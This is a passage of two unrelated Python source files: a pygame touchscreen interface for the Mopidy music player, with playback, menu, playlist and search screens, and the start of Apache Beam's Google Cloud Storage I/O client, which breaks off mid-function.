self.library: if item.type == mopidy.models.Ref.TRACK: # contrary to the API docs LibraryController.lookup() returns a dict instead of a list track_dict = self.manager.core.library.lookup([item.uri]).get() # ...and that stupid dict contains file, list(Track) mappings. WTF?! track = list(track_dict.values())[0][0] logger.debug(f'track is {type(track)} {track}') tracks.append(track) else: track_pos -= 1 self.manager.core.tracklist.add(tracks=tracks) self.manager.core.playback.play(tl_track=self.manager.core.tracklist.get_tl_tracks().get()[track_pos]) class MainScreen(BaseScreen): def __init__(self, size, base_size, manager, fonts, cache, core, background): BaseScreen.__init__(self, size, base_size, manager, fonts) self.core = core self.track = None self.cache = cache self.image = None self.artists = None self.update_next_frame = True self.background = background self.update_keys = [] self.current_track_pos = 0 self.track_duration = "00:00" self.has_to_update_progress = False self.touch_text_manager = ScreenObjectsManager() current_track = self.core.playback.get_current_track().get() if current_track is None: self.track_playback_ended(None, None) else: self.track_started(current_track) # Top bar self.top_bar = pygame.Surface((self.size[0], self.base_size), pygame.SRCALPHA) self.top_bar.fill((0, 0, 0, 128)) # Play/pause button = TouchAndTextItem(self.fonts['icon'], u"\ue615 ", (0, 0), None) self.touch_text_manager.set_touch_object("pause_play", button) x = button.get_right_pos() # Mute button = TouchAndTextItem(self.fonts['icon'], u"\ue61f ", (x, 0), None) self.touch_text_manager.set_touch_object("mute", button) x = button.get_right_pos() # Volume progress = Progressbar(self.fonts['base'], "100", (x, 0), (self.size[0] - x, self.base_size), 100, True) self.touch_text_manager.set_touch_object("volume", progress) progress.set_value(self.core.mixer.get_volume().get()) self.progress_show = False def should_update(self): if len(self.update_keys) > 0: if self.update_progress(): self.has_to_update_progress = True return True else: if self.progress_show: if self.update_progress(): self.has_to_update_progress = True return True else: return False else: return False def find_update_rects(self, rects): for key in self.update_keys: item = self.touch_text_manager.get_object(key) rects.append(item.rect_in_pos) if self.progress_show and self.has_to_update_progress: item = self.touch_text_manager.get_touch_object("time_progress") rects.append(item.rect_in_pos) def update(self, screen, update_type, rects): if update_type == BaseScreen.update_all: screen.blit(self.top_bar, (0, 0)) self.update_progress() self.has_to_update_progress = False self.touch_text_manager.render(screen) if self.image is not None: screen.blit(self.image, ( self.base_size / 2, self.base_size + self.base_size / 2)) if update_type == BaseScreen.update_partial \ and self.track is not None: if self.has_to_update_progress: self.touch_text_manager.get_touch_object( "time_progress").render(screen) self.has_to_update_progress = False for key in self.update_keys: item = self.touch_text_manager.get_object(key) item.update() item.render(screen) def update_progress(self): if self.progress_show: track_pos_millis = self.core.playback.get_time_position().get() new_track_pos = track_pos_millis / 1000 if new_track_pos != self.current_track_pos: progress = self.touch_text_manager.get_touch_object("time_progress") progress.set_value(track_pos_millis) self.current_track_pos = new_track_pos progress.set_text( time.strftime('%M:%S', time.gmtime( self.current_track_pos)) + "/" + self.track_duration) return True return False def track_started(self, track): self.update_keys = [] self.image = None x = self.size[1] - self.base_size * 2 width = self.size[0] - self.base_size / 2 - x # Previous track button button = TouchAndTextItem(self.fonts['icon'], u"\ue61c", (0, self.size[1] - self.base_size), None) self.touch_text_manager.set_touch_object("previous", button) size_1 = button.get_right_pos() size_2 = self.fonts['icon'].size(u"\ue61d")[0] button = TouchAndTextItem(self.fonts['icon'], u"\ue61d", (self.size[0] - size_2, self.size[1] - self.base_size), None) self.touch_text_manager.set_touch_object("next", button) if track.length is not None: self.track_duration = time.strftime('%M:%S', time.gmtime( track.length / 1000)) # Progress progress = Progressbar(self.fonts['base'], time.strftime('%M:%S', time.gmtime( 0)) + "/" + time.strftime( '%M:%S', time.gmtime(0)), (size_1, self.size[1] - self.base_size), ( self.size[0] - size_1 - size_2, self.base_size), track.length, False) self.touch_text_manager.set_touch_object("time_progress", progress) self.progress_show = True else: self.progress_show = False self.touch_text_manager.delete_touch_object("time_progress") # Load all artists self.artists = [] for artist in track.artists: self.artists.append(artist) # Track name label = TextItem(self.fonts['base'], MainScreen.get_track_name(track), (x, (self.size[1] - self.base_size * 3) / 2 - self.base_size * 0.5), (width, -1)) if not label.fit_horizontal: self.update_keys.append("track_name") self.touch_text_manager.set_object("track_name", label) # Album name label = TextItem(self.fonts['base'], MainScreen.get_track_album_name (track), (x, (self.size[1] - self.base_size * 3) / 2 + self.base_size * 0.5), (width, -1)) if not label.fit_horizontal: self.update_keys.append("album_name") self.touch_text_manager.set_object("album_name", label) # Artist label = TextItem(self.fonts['base'], self.get_artist_string(), (x, (self.size[1] - self.base_size * 3) / 2 + self.base_size * 1.5), (width, -1)) if not label.fit_horizontal: self.update_keys.append("artist_name") self.touch_text_manager.set_object("artist_name", label) self.track = track if not self.is_image_in_cache(): thread = Thread(target=self.download_image) thread.start() else: thread = Thread(target=self.load_image) thread.start() def stream_title_changed(self, title): self.touch_text_manager.get_object("track_name").set_text(title, False) def get_artist_string(self): artists_string = '' for artist in self.artists: artists_string += artist.name + ', ' if len(artists_string) > 2: artists_string = artists_string[:-2] elif len(artists_string) == 0: artists_string = "Unknow Artist" return artists_string def get_image_file_name(self): name = MainScreen.get_track_album_name( self.track) + '-' + self.get_artist_string() md5name = hashlib.md5(name.encode('utf-8')).hexdigest() return md5name def get_cover_folder(self): if not os.path.isdir(self.cache + "/covers"): os.makedirs(self.cache + "/covers") return self.cache + "/covers/" def is_image_in_cache(self): self.get_cover_folder() return os.path.isfile( self.get_cover_folder() + self.get_image_file_name()) def download_image(self): image_uris = self.core.library.get_images( {self.track.uri}).get()[self.track.uri] if len(image_uris) > 0: urllib.request.urlretrieve(image_uris[0].uri, self.get_cover_folder() + self.get_image_file_name()) self.load_image() else: self.download_image_musicbrainz(0) def download_image_musicbrainz(self, artist_index): found = False while _use_musicbrainz and not found and artist_index < len(self.artists): result = musicbrainzngs.search_releases(artist = self.artists[artist_index].name, release = MainScreen.get_track_album_name(self.track), limit = 5) releases = result.get('release-list') if releases is None or len(releases) < 1: logger.info('Artist/Album combination not found on Musicbrainz') artist_index += 1 continue for release in releases: mbid = release.get("id") if mbid is None: logger.info('MusicBranz error: no MBID') continue try: image = musicbrainzngs.get_image_front(mbid, size="500") with open(self.get_cover_folder() + self.get_image_file_name(), "wb") as fp: fp.write(image) self.load_image() found = True break except: logger.info(f'Cover art for {mbid} not found') if not found: logger.info("Cover could not be downloaded") # There is no cover # so it will use all the screen size for the text width = self.size[0] - self.base_size current = TextItem(self.fonts['base'], MainScreen.get_track_name (self.track), (self.base_size / 2, self.base_size * 2), (width, -1)) if not current.fit_horizontal: self.update_keys.append("track_name") self.touch_text_manager.set_object("track_name", current) current = TextItem(self.fonts['base'], MainScreen.get_track_album_name (self.track), (self.base_size / 2, self.base_size * 3), (width, -1)) if not current.fit_horizontal: self.update_keys.append("album_name") self.touch_text_manager.set_object("album_name", current) current = TextItem(self.fonts['base'], self.get_artist_string(), (self.base_size / 2, self.base_size * 4), (width, -1)) if not current.fit_horizontal: self.update_keys.append("artist_name") self.touch_text_manager.set_object("artist_name", current) self.background.set_background_image(None) def track_playback_ended(self, tl_track, time_position): self.background.set_background_image(None) self.image = None self.track_duration = "00:00" width = self.size[0] - self.base_size current = TextItem(self.fonts['base'], "", (self.base_size / 2, self.base_size * 2), (width, -1)) self.touch_text_manager.set_object("track_name", current) current = TextItem(self.fonts['base'], "", (self.base_size / 2, self.base_size * 3), (width, -1)) self.touch_text_manager.set_object("album_name", current) current = TextItem(self.fonts['base'], "", (self.base_size / 2, self.base_size * 4), (width, -1)) self.touch_text_manager.set_object("artist_name", current) def load_image(self): size = int(self.size[1] - self.base_size * 3) image_original = pygame.image.load( self.get_cover_folder() + self.get_image_file_name()) image = pygame.transform.scale(image_original, (size, size)) image = image.convert() self.image = image self.background.set_background_image(image_original) def touch_event(self, event): if event.type == InputManager.click or event.type == InputManager.long_click: objects = \ self.touch_text_manager.get_touch_objects_in_pos( event.current_pos) if objects is not None: self.click_on_objects(objects, event) elif event.type == InputManager.swipe: if event.direction == InputManager.left: self.core.playback.next() elif event.direction == InputManager.right: self.core.playback.previous() elif event.direction == InputManager.up: volume = self.core.mixer.get_volume().get() + 10 if volume > 100: volume = 100 self.core.mixer.set_volume(volume) elif event.direction == InputManager.down: volume = self.core.mixer.get_volume().get() - 10 if volume < 0: volume = 0 self.core.mixer.set_volume(volume) elif event.type == InputManager.key: if event.direction == InputManager.enter: self.click_on_objects(["pause_play"], None) elif event.direction == InputManager.up: vol = self.core.mixer.get_volume().get() vol += 3 if vol > 100: vol = 100 self.core.mixer.set_volume(vol) elif event.direction == InputManager.down: vol = self.core.mixer.get_volume().get() vol -= 3 if vol < 0: vol = 0 self.core.mixer.set_volume(vol) elif event.longpress: if event.direction == InputManager.left: self.click_on_objects(["previous"], None) elif event.direction == InputManager.right: self.click_on_objects(["next"], None) def click_on_objects(self, objects, event): if objects is not None: for key in objects: if key == "time_progress": value = self.touch_text_manager.get_touch_object( key).get_pos_value( event.current_pos) self.core.playback.seek(value) elif key == "previous": self.core.playback.previous() elif key == "next": self.core.playback.next() elif key == "volume": self.change_volume(event) elif key == "pause_play": playback_state = self.core.playback.get_state().get() if event.type == InputManager.long_click: if playback_state != mopidy.core.PlaybackState.STOPPED: self.core.playback.stop() else: self.core.playback.play() else: if playback_state == mopidy.core.PlaybackState.PLAYING: self.core.playback.pause() elif playback_state == mopidy.core.PlaybackState.PAUSED: self.core.playback.resume() elif playback_state == mopidy.core.PlaybackState.STOPPED: self.core.playback.play() elif key == "mute": mute = not self.core.mixer.get_mute().get() self.core.mixer.set_mute(mute) self.mute_changed(mute) def change_volume(self, event): manager = self.touch_text_manager volume = manager.get_touch_object("volume") pos = event.current_pos value = volume.get_pos_value(pos) self.core.mixer.set_volume(value) def playback_state_changed(self, old_state, new_state): if new_state == mopidy.core.PlaybackState.PLAYING: self.touch_text_manager.get_touch_object( "pause_play").set_text(u"\ue615", False) # |> elif new_state == mopidy.core.PlaybackState.PAUSED: self.touch_text_manager.get_touch_object( "pause_play").set_text(u"\ue616", False) # || elif new_state == mopidy.core.PlaybackState.STOPPED: self.touch_text_manager.get_touch_object( "pause_play").set_text(u"\ue617", False) # [] def volume_changed(self, volume): if not self.core.mixer.get_mute().get(): if volume > 80: self.touch_text_manager.get_touch_object( "mute").set_text( u"\ue61f", False) elif volume > 50: self.touch_text_manager.get_touch_object( "mute").set_text( u"\ue620", False) elif volume > 20: self.touch_text_manager.get_touch_object( "mute").set_text( u"\ue621", False) else: self.touch_text_manager.get_touch_object( "mute").set_text( u"\ue622", False) self.touch_text_manager.get_touch_object("volume").set_value( volume) def mute_changed(self, mute): self.touch_text_manager.get_touch_object("mute").set_active( not mute) if mute: self.touch_text_manager.get_touch_object("mute").set_text( u"\ue623", False) else: self.volume_changed(self.core.mixer.get_volume().get()) @staticmethod def get_track_name(track): if track.name is None: return track.uri else: return track.name @staticmethod def get_track_album_name(track): if track.album is not None and track.album.name is not None \ and len(track.album.name) > 0: return track.album.name else: return "Unknow Album" class MenuScreen(BaseScreen): def __init__(self, size, base_size, manager, fonts, core): BaseScreen.__init__(self, size, base_size, manager, fonts) self.ip = None self.core = core self.list_view = ListView((0, 0), size, base_size, fonts['base']) self.list_items = ["Random", "Repeat", "Single", "Consume", "Exit Mopidy", "Shutdown", "Restart", "IP: "] self.list_view.set_list(self.list_items) def should_update(self): return self.list_view.should_update() def find_update_rects(self, rects): return self.list_view.find_update_rects(rects) def update(self, screen, update_type, rects): update_all = (update_type == BaseScreen.update_all) self.list_view.render(screen, update_all, rects) def touch_event(self, event): clicked = self.list_view.touch_event(event) if clicked is not None: if clicked == 0: random = not self.core.tracklist.get_random().get() self.core.tracklist.set_random(random) elif clicked == 1: repeat = not self.core.tracklist.get_repeat().get() self.core.tracklist.set_repeat(repeat) elif clicked == 2: single = not self.core.tracklist.get_single().get() self.core.tracklist.set_single(single) elif clicked == 3: consume = not self.core.tracklist.get_consume().get() self.core.tracklist.set_consume(consume) elif clicked == 4: os.system("pkill mopidy") elif clicked == 5: if os.system("gksu -- shutdown now -h") != 0: os.system("sudo shutdown now -h") elif clicked == 6: if os.system("gksu -- shutdown -r now") != 0: os.system("sudo shutdown -r now") elif clicked == 7: self.check_connection() # Will check internet connection def check_connection(self): s = None try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) self.ip = s.getsockname()[0] s.close() self.list_items[7] = "IP: " + self.ip self.list_view.set_list(self.list_items) except socket.error: if s is not None: s.close() self.ip = None self.list_items[7] = "IP: No internet" self.list_view.set_list(self.list_items) def options_changed(self): active = [] if self.core.tracklist.get_random().get(): active.append(0) if self.core.tracklist.get_repeat().get(): active.append(1) if self.core.tracklist.get_single().get(): active.append(2) if self.core.tracklist.get_consume().get(): active.append(3) self.list_view.set_active(active) class PlaylistScreen(BaseScreen): def __init__(self, size, base_size, manager, fonts): BaseScreen.__init__(self, size, base_size, manager, fonts) self.list_view = ListView((0, 0), size, self.base_size, self.fonts['base']) self.playlists_strings = [] self.playlists = [] self.selected_playlist = None self.playlist_tracks = [] self.playlist_uris = [] self.playlist_tracks_strings = [] self.playlists_loaded() def should_update(self): return self.list_view.should_update() def find_update_rects(self, rects): return self.list_view.find_update_rects(rects) def update(self, screen, update_type, rects): update_all = (update_type == BaseScreen.update_all) self.list_view.render(screen, update_all, rects) def playlists_loaded(self): self.selected_playlist = None self.playlists_strings = [] self.playlists = [] for playlist in self.manager.core.playlists.as_list().get(): self.playlists.append(playlist) self.playlists_strings.append(playlist.name) self.list_view.set_list(self.playlists_strings) def playlist_selected(self, playlist): self.selected_playlist = playlist self.playlist_tracks = [] self.playlist_uris = [] self.playlist_tracks_strings = ["../"] for ref in self.manager.core.playlists.get_items(playlist.uri).get(): track = Track(uri=ref.uri, name=ref.name) self.playlist_tracks.append(track) self.playlist_uris.append(ref.uri) if track.name is None: self.playlist_tracks_strings.append(ref.uri) else: self.playlist_tracks_strings.append(ref.name) self.list_view.set_list(self.playlist_tracks_strings) def touch_event(self, touch_event): clicked = self.list_view.touch_event(touch_event) logger.info(f'touch_event: {touch_event}, {clicked}') if clicked is not None: if self.selected_playlist is None: self.playlist_selected(self.playlists[clicked]) else: if clicked == 0: self.selected_playlist = None self.list_view.set_list(self.playlists_strings) else: self.manager.core.tracklist.clear() # passing a list of tracks is deprecated, but how else do I get the names in the M3U file into the # the tracklist for streams that don't have track meta data? # self.manager.core.tracklist.add(uris=self.playlist_uris) self.manager.core.tracklist.add(tracks=self.playlist_tracks) self.manager.core.playback.play( tl_track=self.manager.core.tracklist.get_tl_tracks().get()[clicked - 1]) # self.manager.change_screen(self.manager.screen_type.Player) SearchMode = Enum('SearchMode', 'Track Album Artist') class SearchScreen(BaseScreen): def __init__(self, size, base_size, manager, fonts): BaseScreen.__init__(self, size, base_size, manager, fonts) self.list_view = ListView((0, self.base_size * 2), ( self.size[0], self.size[1] - 2 * self.base_size), self.base_size, manager.fonts['base']) self.results_strings = [] self.results = [] self.screen_objects = ScreenObjectsManager() self.query = "" # Search button button = TouchAndTextItem(self.fonts['icon'], u" \ue986", (0, self.base_size), None, center=True) self.screen_objects.set_touch_object( "search", button) x = button.get_right_pos() # Query text text = TouchAndTextItem(self.fonts['base'], self.query, (0, 0), (self.size[0], self.base_size), center=True) self.screen_objects.set_touch_object("query", text) # Mode buttons button_size = ((self.size[0] - x) / 3, self.base_size) self.mode_objects_keys = { SearchMode.Track: "mode_track", SearchMode.Album: "mode_album", SearchMode.Artist: "mode_artist" } # Track button button = TouchAndTextItem(self.fonts['base'], "Track", (x, self.base_size), (button_size[0], self.base_size), center=True) self.screen_objects.set_touch_object( self.mode_objects_keys[SearchMode.Track], button) # Album button button = TouchAndTextItem(self.fonts['base'], "Album", (button_size[0] + x, self.base_size), button_size, center=True) self.screen_objects.set_touch_object( self.mode_objects_keys[SearchMode.Album], button) # Artist button button = TouchAndTextItem(self.fonts['base'], "Artist", (button_size[0] * 2 + x, self.base_size), button_size, center=True) self.screen_objects.set_touch_object( self.mode_objects_keys[SearchMode.Artist], button) # Top Bar self.top_bar = pygame.Surface( (self.size[0], self.base_size * 2), pygame.SRCALPHA) self.top_bar.fill((0, 0, 0, 128)) self.mode = None self.set_mode(mode=SearchMode.Track) self.set_query("Search") def should_update(self): return self.list_view.should_update() def find_update_rects(self, rects): return self.list_view.find_update_rects(rects) def update(self, screen, update_type, rects): screen.blit(self.top_bar, (0, 0)) self.screen_objects.render(screen) update_all = (update_type == BaseScreen.update_all) self.list_view.render(screen, update_all, rects) def set_mode(self, mode=SearchMode.Track): if mode is not self.mode: self.mode = mode for val in self.mode_objects_keys.values(): self.screen_objects.get_touch_object(val).set_active(False) self.screen_objects.get_touch_object(self.mode_objects_keys[self.mode]).set_active(True) self.search(self.query, self.mode) def set_query(self, query=""): self.query = query self.screen_objects.get_touch_object("query").set_text( self.query, False) def search(self, query=None, mode=None): if query is not None: self.set_query(query) if mode is not None: self.set_mode(mode) if self.mode == SearchMode.Track: search_query = {'any': [self.query]} elif self.mode == SearchMode.Album: search_query = {'album': [self.query]} else: search_query = {'artist': [self.query]} if len(self.query) > 0: logger.info(f'{search_query}') current_results = self.manager.core.library.search(search_query).get() self.results = [] self.results_strings = [] for backend in current_results: if mode == SearchMode.Track: iterable = backend.tracks logger.info(f'results for tracks: {iterable}') elif mode == SearchMode.Album: iterable = backend.albums logger.info(f'results for albums: {iterable}') else: iterable = backend.artists logger.info(f'results for artists: {iterable}') for result in iterable: self.results.append(result) self.results_strings.append(result.name) self.list_view.set_list(self.results_strings) def touch_event(self, touch_event): if touch_event.type == InputManager.click: clicked = self.list_view.touch_event(touch_event) if clicked is not None: self.manager.core.tracklist.clear() self.manager.core.tracklist.add( uri=self.results[clicked].uri) self.manager.core.playback.play() else: clicked = self.screen_objects.get_touch_objects_in_pos(touch_event.down_pos) if len(clicked) > 0: clicked = clicked[0] if clicked in self.mode_objects_keys.values(): mode = [k for k, v in self.mode_object_keys if v == clicked][0] logger.info(f'mode = {mode}') self.search(mode=mode) if clicked == "query" or clicked == "search": self.manager.open_keyboard(self) else: pos = self.list_view.touch_event(touch_event) if pos is not None: self.manager.core.tracklist.clear() self.manager.core.tracklist.add(uris=[self.results[pos].uri]) self.manager.core.playback.play() def change_screen(self, direction): mode = self.mode.value if direction == InputManager.right: if mode < SearchMode.Artist.value: self.set_mode(SearchMode(mode + 1)) return True elif direction == InputManager.left: if mode > SearchMode.Track.value: self.set_mode(SearchMode(mode - 1)) return True else: self.manager.open_keyboard(self) return False def text_input(self, text): self.search(text, self.mode) class Tracklist(BaseScreen): def __init__(self, size, base_size, manager, fonts): BaseScreen.__init__(self, size, base_size, manager, fonts) self.size = size self.base_size = base_size self.manager = manager self.list_view = ListView((0, 0), size, self.base_size, self.fonts['base']) self.tracks = [] self.tracks_strings = [] self.update_list() self.track_started(self.manager.core.playback.get_current_tl_track().get()) def should_update(self): return self.list_view.should_update() def find_update_rects(self, rects): return self.list_view.find_update_rects(rects) def update(self, screen, update_type, rects): update_all = (update_type == BaseScreen.update_all) self.list_view.render(screen, update_all, rects) def tracklist_changed(self): self.update_list() def update_list(self): self.tracks = self.manager.core.tracklist.get_tl_tracks().get() self.tracks_strings = [] for tl_track in self.tracks: logger.debug(f'tl_track is {tl_track} ({type(tl_track)}), track is {type(tl_track.track)}') trackname = MainScreen.get_track_name(tl_track.track) logger.debug(f'trackname is {trackname}\n') self.tracks_strings.append(trackname) self.list_view.set_list(self.tracks_strings) def touch_event(self, touch_event): pos = self.list_view.touch_event(touch_event) if pos is not None: self.manager.core.playback.play(self.tracks[pos]) def track_started(self, track): tlindex = self.manager.core.tracklist.index(track).get() self.list_view.set_active([tlindex])
gcsio.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """Google Cloud Storage client. This library evolved from the Google App Engine GCS client available at https://github.com/GoogleCloudPlatform/appengine-gcs-client. """ from __future__ import absolute_import import errno import io import logging import multiprocessing import re import sys import threading import time import traceback from builtins import object from apache_beam.internal.http_client import get_new_http from apache_beam.io.filesystemio import Downloader from apache_beam.io.filesystemio import DownloaderStream from apache_beam.io.filesystemio import PipeStream from apache_beam.io.filesystemio import Uploader from apache_beam.io.filesystemio import UploaderStream from apache_beam.utils import retry __all__ = ['GcsIO'] _LOGGER = logging.getLogger(__name__) # Issue a friendlier error message if the storage library is not available. # TODO(silviuc): Remove this guard when storage is available everywhere. try: # pylint: disable=wrong-import-order, wrong-import-position # pylint: disable=ungrouped-imports import apitools.base.py.transfer as transfer from apitools.base.py.batch import BatchApiRequest from apitools.base.py.exceptions import HttpError from apache_beam.internal.gcp import auth from apache_beam.io.gcp.internal.clients import storage except ImportError: raise ImportError( 'Google Cloud Storage I/O not supported for this execution environment ' '(could not import storage API client).') # This is the size of each partial-file read operation from GCS. This # parameter was chosen to give good throughput while keeping memory usage at # a reasonable level; the following table shows throughput reached when # reading files of a given size with a chosen buffer size and informed the # choice of the value, as of 11/2016: # # +---------------+------------+-------------+-------------+-------------+ # | | 50 MB file | 100 MB file | 200 MB file | 400 MB file | # +---------------+------------+-------------+-------------+-------------+ # | 8 MB buffer | 17.12 MB/s | 22.67 MB/s | 23.81 MB/s | 26.05 MB/s | # | 16 MB buffer | 24.21 MB/s | 42.70 MB/s | 42.89 MB/s | 46.92 MB/s | # | 32 MB buffer | 28.53 MB/s | 48.08 MB/s | 54.30 MB/s | 54.65 MB/s | # | 400 MB buffer | 34.72 MB/s | 71.13 MB/s | 79.13 MB/s | 85.39 MB/s | # +---------------+------------+-------------+-------------+-------------+ DEFAULT_READ_BUFFER_SIZE = 16 * 1024 * 1024 # This is the number of seconds the library will wait for a partial-file read # operation from GCS to complete before retrying. DEFAULT_READ_SEGMENT_TIMEOUT_SECONDS = 60 # This is the size of chunks used when writing to GCS. WRITE_CHUNK_SIZE = 8 * 1024 * 1024 # Maximum number of operations permitted in GcsIO.copy_batch() and # GcsIO.delete_batch(). MAX_BATCH_OPERATION_SIZE = 100 # Batch endpoint URL for GCS. # We have to specify an API specific endpoint here since Google APIs global # batch endpoints will be deprecated on 03/25/2019. # See https://developers.googleblog.com/2018/03/discontinuing-support-for-json-rpc-and.html. # pylint: disable=line-too-long # Currently apitools library uses a global batch endpoint by default: # https://github.com/google/apitools/blob/master/apitools/base/py/batch.py#L152 # TODO: remove this constant and it's usage after apitools move to using an API # specific batch endpoint or after Beam gcsio module start using a GCS client # library that does not use global batch endpoints. GCS_BATCH_ENDPOINT = 'https://www.googleapis.com/batch/storage/v1' def parse_gcs_path(gcs_path, object_optional=False): """Return the bucket and object names of the given gs:// path.""" match = re.match('^gs://([^/]+)/(.*)$', gcs_path) if match is None or (match.group(2) == '' and not object_optional): raise ValueError('GCS path must be in the form gs://<bucket>/<object>.') return match.group(1), match.group(2) class GcsIOError(IOError, retry.PermanentException): """GCS IO error that should not be retried.""" pass class GcsIO(object): """Google Cloud Storage I/O client.""" def __init__(self, storage_client=None): if storage_client is None: storage_client = storage.StorageV1( credentials=auth.get_service_credentials(), get_credentials=False, http=get_new_http(), response_encoding=None if sys.version_info[0] < 3 else 'utf8') self.client = storage_client self._rewrite_cb = None def _set_rewrite_response_callback(self, callback): """For testing purposes only. No backward compatibility guarantees. Args: callback: A function that receives ``storage.RewriteResponse``. """ self._rewrite_cb = callback def open(self, filename, mode='r', read_buffer_size=DEFAULT_READ_BUFFER_SIZE, mime_type='application/octet-stream'): """Open a GCS file path for reading or writing. Args: filename (str): GCS file path in the form ``gs://<bucket>/<object>``. mode (str): ``'r'`` for reading or ``'w'`` for writing. read_buffer_size (int): Buffer size to use during read operations. mime_type (str): Mime type to set for write operations. Returns: GCS file object. Raises: ~exceptions.ValueError: Invalid open file mode. """ if mode == 'r' or mode == 'rb': downloader = GcsDownloader(self.client, filename, buffer_size=read_buffer_size) return io.BufferedReader(DownloaderStream(downloader, read_buffer_size=read_buffer_size, mode=mode), buffer_size=read_buffer_size) elif mode == 'w' or mode == 'wb': uploader = GcsUploader(self.client, filename, mime_type) return io.BufferedWriter(UploaderStream(uploader, mode=mode), buffer_size=128 * 1024) else: raise ValueError('Invalid file open mode: %s.' % mode) @retry.with_exponential_backoff( retry_filter=retry.retry_on_server_errors_and_timeout_filter) def delete(self, path): """Deletes the object at the given GCS path. Args: path: GCS file path pattern in the form gs://<bucket>/<name>. """ bucket, object_path = parse_gcs_path(path) request = storage.StorageObjectsDeleteRequest( bucket=bucket, object=object_path) try: self.client.objects.Delete(request) except HttpError as http_error: if http_error.status_code == 404: # Return success when the file doesn't exist anymore for idempotency. return raise # We intentionally do not decorate this method with a retry, as retrying is # handled in BatchApiRequest.Execute(). def delete_batch(self, paths): """Deletes the objects at the given GCS paths. Args: paths: List of GCS file path patterns in the form gs://<bucket>/<name>, not to exceed MAX_BATCH_OPERATION_SIZE in length. Returns: List of tuples of (path, exception) in the same order as the paths argument, where exception is None if the operation succeeded or the relevant exception if the operation failed. """ if not paths: return [] batch_request = BatchApiRequest( batch_url=GCS_BATCH_ENDPOINT, retryable_codes=retry.SERVER_ERROR_OR_TIMEOUT_CODES, response_encoding='utf-8') for path in paths: bucket, object_path = parse_gcs_path(path) request = storage.StorageObjectsDeleteRequest( bucket=bucket, object=object_path) batch_request.Add(self.client.objects, 'Delete', request) api_calls = batch_request.Execute(self.client._http) # pylint: disable=protected-access result_statuses = [] for i, api_call in enumerate(api_calls): path = paths[i] exception = None if api_call.is_error: exception = api_call.exception # Return success when the file doesn't exist anymore for idempotency. if isinstance(exception, HttpError) and exception.status_code == 404: exception = None result_statuses.append((path, exception)) return result_statuses @retry.with_exponential_backoff( retry_filter=retry.retry_on_server_errors_and_timeout_filter) def copy(self, src, dest, dest_kms_key_name=None, max_bytes_rewritten_per_call=None): """Copies the given GCS object from src to dest. Args: src: GCS file path pattern in the form gs://<bucket>/<name>. dest: GCS file path pattern in the form gs://<bucket>/<name>. dest_kms_key_name: Experimental. No backwards compatibility guarantees. Encrypt dest with this Cloud KMS key. If None, will use dest bucket encryption defaults. max_bytes_rewritten_per_call: Experimental. No backwards compatibility guarantees. Each rewrite API call will return after these many bytes. Used for testing. Raises: TimeoutError on timeout. """ src_bucket, src_path = parse_gcs_path(src) dest_bucket, dest_path = parse_gcs_path(dest) request = storage.StorageObjectsRewriteRequest( sourceBucket=src_bucket, sourceObject=src_path, destinationBucket=dest_bucket, destinationObject=dest_path, destinationKmsKeyName=dest_kms_key_name, maxBytesRewrittenPerCall=max_bytes_rewritten_per_call) response = self.client.objects.Rewrite(request) while not response.done: _LOGGER.debug( 'Rewrite progress: %d of %d bytes, %s to %s', response.totalBytesRewritten, response.objectSize, src, dest) request.rewriteToken = response.rewriteToken response = self.client.objects.Rewrite(request) if self._rewrite_cb is not None: self._rewrite_cb(response) _LOGGER.debug('Rewrite done: %s to %s', src, dest) # We intentionally do not decorate this method with a retry, as retrying is # handled in BatchApiRequest.Execute(). def copy_batch(self, src_dest_pairs, dest_kms_key_name=None, max_bytes_rewritten_per_call=None): """Copies the given GCS object from src to dest. Args: src_dest_pairs: list of (src, dest) tuples of gs://<bucket>/<name> files paths to copy from src to dest, not to exceed MAX_BATCH_OPERATION_SIZE in length. dest_kms_key_name: Experimental. No backwards compatibility guarantees. Encrypt dest with this Cloud KMS key. If None, will use dest bucket encryption defaults. max_bytes_rewritten_per_call: Experimental. No backwards compatibility guarantees. Each rewrite call will return after these many bytes. Used primarily for testing. Returns: List of tuples of (src, dest, exception) in the same order as the src_dest_pairs argument, where exception is None if the operation succeeded or the relevant exception if the operation failed. """ if not src_dest_pairs: return [] pair_to_request = {} for pair in src_dest_pairs: src_bucket, src_path = parse_gcs_path(pair[0]) dest_bucket, dest_path = parse_gcs_path(pair[1]) request = storage.StorageObjectsRewriteRequest( sourceBucket=src_bucket, sourceObject=src_path, destinationBucket=dest_bucket, destinationObject=dest_path, destinationKmsKeyName=dest_kms_key_name, maxBytesRewrittenPerCall=max_bytes_rewritten_per_call) pair_to_request[pair] = request pair_to_status = {} while True: pairs_in_batch = list(set(src_dest_pairs) - set(pair_to_status)) if not pairs_in_batch: break batch_request = BatchApiRequest( batch_url=GCS_BATCH_ENDPOINT, retryable_codes=retry.SERVER_ERROR_OR_TIMEOUT_CODES, response_encoding='utf-8') for pair in pairs_in_batch: batch_request.Add(self.client.objects, 'Rewrite', pair_to_request[pair]) api_calls = batch_request.Execute(self.client._http) # pylint: disable=protected-access for pair, api_call in zip(pairs_in_batch, api_calls): src, dest = pair response = api_call.response if self._rewrite_cb is not None: self._rewrite_cb(response) if api_call.is_error: exception = api_call.exception # Translate 404 to the appropriate not found exception. if isinstance(exception, HttpError) and exception.status_code == 404: exception = ( GcsIOError(errno.ENOENT, 'Source file not found: %s' % src)) pair_to_status[pair] = exception elif not response.done: _LOGGER.debug( 'Rewrite progress: %d of %d bytes, %s to %s', response.totalBytesRewritten, response.objectSize, src, dest) pair_to_request[pair].rewriteToken = response.rewriteToken else: _LOGGER.debug('Rewrite done: %s to %s', src, dest) pair_to_status[pair] = None return [(pair[0], pair[1], pair_to_status[pair]) for pair in src_dest_pairs] # We intentionally do not decorate this method with a retry, since the # underlying copy and delete operations are already idempotent operations # protected by retry decorators. def copytree(self, src, dest): """Renames the given GCS "directory" recursively from src to dest. Args: src: GCS file path pattern in the form gs://<bucket>/<name>/. dest: GCS file path pattern in the form gs://<bucket>/<name>/. """ assert src.endswith('/') 